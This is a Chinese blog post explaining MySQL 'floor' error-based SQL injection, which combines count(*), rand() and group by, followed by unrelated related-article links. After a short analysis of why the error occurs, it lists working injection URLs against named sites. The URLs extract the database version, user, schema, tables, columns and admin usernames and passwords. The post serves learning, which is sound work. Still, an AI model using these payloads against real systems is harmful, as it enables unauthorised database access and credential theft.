报错注入分析之(count()、rand()、group by)分析,被大佬称为floor报错注入
PS:在这几天的学习当中很多的文章都将此注入方式称之为“floor报错分析”但经过我这几天的学习。个人觉得不该如此称呼!若君有意请详细阅读此篇文章。特别感谢米怀特的开导,说句实在的研究这个注入有四天了。有点不好意思说出来。其实就是一个语句的事情!但是确实研究四天了。之前实在的虽说口上弄懂了,但脑袋里还是混混沌沌的。也怪自己愚昧。加油吧。废话多了(。_。)
且看完整的payload:
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
简化后Payload:select count(*),(floor(rand(0)*2))x from table order by x;
先来分析一下该条Sql语句报错的原因是啥。
00x1 是floor(rand(0)*2)导致的报错吗?
用事实说话!先建立一个表。

首先先插入一条记录。

再执行一下:select count(*) from xishaonian group by floor(rand(0)*2);

再插入一条记录,再执行。直至第三次报错了!

报错了!事实证明,floor(rand(0)*2)报错的条件是当记录数为3的时候。为3必定报错!
之后,我连续插入了八条记录。然后查询了一下

排序是01101100...那么到了第三个。
从1开始算。到了第三个的时候也就是0。系统就会跳过
事实证明floor(rand(0)*2)只有在特定情况下才会报错。
00x2 count group by导致的报错?
count大家都知道是计数函数,那么他是如何计数的呢?count和group by 合在一起用就会建立一个虚拟表,来数(shǔ)数(shù)。
1.大概的虚拟表如下所示(其中的key是主键,是不可以重复的):

2.开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录。存在则count(*)字段直接加1,如下图:

由此看到 如果key存在的话就+1, 不存在的话就新建一个key。
那这个和报错有啥内在联系,我们直接往下来,其实到这里,结合前面的内容大家也能猜个一二了。
报错需要count(*),rand()、group by,三者缺一不可。
一篇相似的文章:http://www.2cto.com/article/201604/498394.html
那么如何利用呢?摘自独自博客/通过floor暴错注入/
/*数据库版本*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*简单办法暴库*/
http://www.xishaonian.cn/sql.php?id=info()
/*连接用户*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*连接数据库*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴库*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴表*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴字段*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴内容*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
结束
报错注入分析之(count()、rand()、group by)分析,被大佬称为floor报错注入的更多相关文章
- mysql的floor()报错注入方法详细分析
刚开始学习sql注入,遇见了 select count(*) from table group by floor(rand(0)*2); 这么条语句.在此做个总结. (更好的阅读体验可访问 这里 ) ...
- Floor报错原理分析
最近开始打ctf了,发现好多sql注入都忘了,最近要好好复习一下. 基础知识: floor(): 去除小数部分 rand(): 产生随机数 rand(x): 每个x对应一个固定的值,但是如果连续执行多 ...
- Mysql报错注入之floor报错详解
一.简述 利用 select count(*),(floor(rand(0)*2))x from table group by x,导致数据库报错,通过 concat 函数,连接注入语句与 floor ...
- 启动php-fpm报错:please specify user and group other than root
安装好PHP之后启动报错: 启动php-fpm报错:please specify user and group other than root, pool 'default 修改 php-fpm.co ...
- ts项目报错:Import sources within a group must be alphabetized
报错:Import sources within a group must be alphabetized. 原因:import名称排序问题,要求按照字母从小到大排序:修改 tslint.json 中 ...
- mysql5.7执行sql语句报错:In aggregated query without GROUP BY, expression #1 of SELECT list contains nonagg
mysql5.7执行sql语句报错:In aggregated query without GROUP BY, expression #1 of SELECT list contains nonagg ...
- selenium+phantomjs报错:Unable to find a free port的分析和解决
selenium+phantomjs报错:Unable to find a free port的分析和解决 Table of Contents 1. 现象 2. 分析 3. 解决办法 1 现象 在做项 ...
- 目标用户偏好指数Target Group Index分析
目标用户偏好指数Target Group Index分析 TGI指数,全称Target Group Index,可以反映目标群体在特定研究范围内强势或者弱势. TGI指数计算公式 = 目标群体中具有某 ...
- IntelliJ IDEA中项目报错org.xml.sax.SAXParseException; lineNumber: 3; columnNumber: 8 或maven操作compile报resource使用utf8这样的编码错
问题:项目开发工具已经setting成utf-8 并且项目各方面的配置文件包括maven这些的pom.xml里的配置都已经设置为utf-8 但是还报错 IntelliJ IDEA中项目报错org.xm ...
随机推荐
- Python黑客编程ARP欺骗
Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...
- 杂项之pymysql连接池
杂项之pymysql连接池 本节内容 本文的诞生 连接池及单例模式 多线程提升 协程提升 后记 1.本文的诞生 由于前几天接触了pymysql,在测试数据过程中,使用普通的pymysql插入100W条 ...
- Dubbo消费端错误: ClassNotFoundException: org.apache.zookeeper.proto.WatcherEvent
出现错误的原因是消费端war没有启动成功, 但是zkClient和Dubbo的对应Thread启动了, web container无法加载对应的类, INFO: Initializing Protoc ...
- C#.NET 大型企业信息化系统集成快速开发平台 4.2 版本 - 外部服务调用、内部服务调用优化,面向服务化的
现在的信息系统越来越复杂,越来越庞大,不仅需要内部是一个整体,而且还需要提供很多对外的服务调用. 1:别人如何调用最方便?用不同的开发语言调用.例如app.手持设备.服务器.2:服务的返回状态是什么样 ...
- C++与C# UDP通信实例(同一台PC)
对于同一个PC机而言,服务器端和客户端在一个PC机上面,端口必须要不一样,不然会冲突. 你总不能自己又当爹又当妈吧. 所以在进行程序设计的时候,需要考虑这一点: 在此接口设计中,C++当作UDP的服务 ...
- jqgrid
官方主页 http://www.jqgrid.com/目前最新版本:jqGrid 3.7 Beta在线文档: http://www.secondpersonplural.ca/jqgriddocs/i ...
- linux运维工作职责
(1)运维人员要谨记的6个字:运维人员做事需遵循:简单.易用.高效(2)运维人员服务的3大宗旨:1.企业数据安全保障.2.7*24小时业务持续提供服务.3.不断提升用户感受.体验.(3)初中级运维的 ...
- Advanced Office Password Recovery安装后显示是英文版的
一些才开始接触Advanced Office Password Recovery(即AOPR)的朋友,在安装Advanced Office Password Recovery的时候可能发现Advanc ...
- 上网八个常用cmd命令你掌握了几个?
上网八个常用cmd命令你掌握了几个? 一.ping 它是用来检查网络是否通畅或者网络连接速度的命令.作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握 ...
- css-css权威指南学习笔记5
第六章 文本属性 1.text-indent只能作用于块级元素(如p或inline-block或block后的span/a/i等). 2.text-align只能作用于块级元素(如p或inline-b ...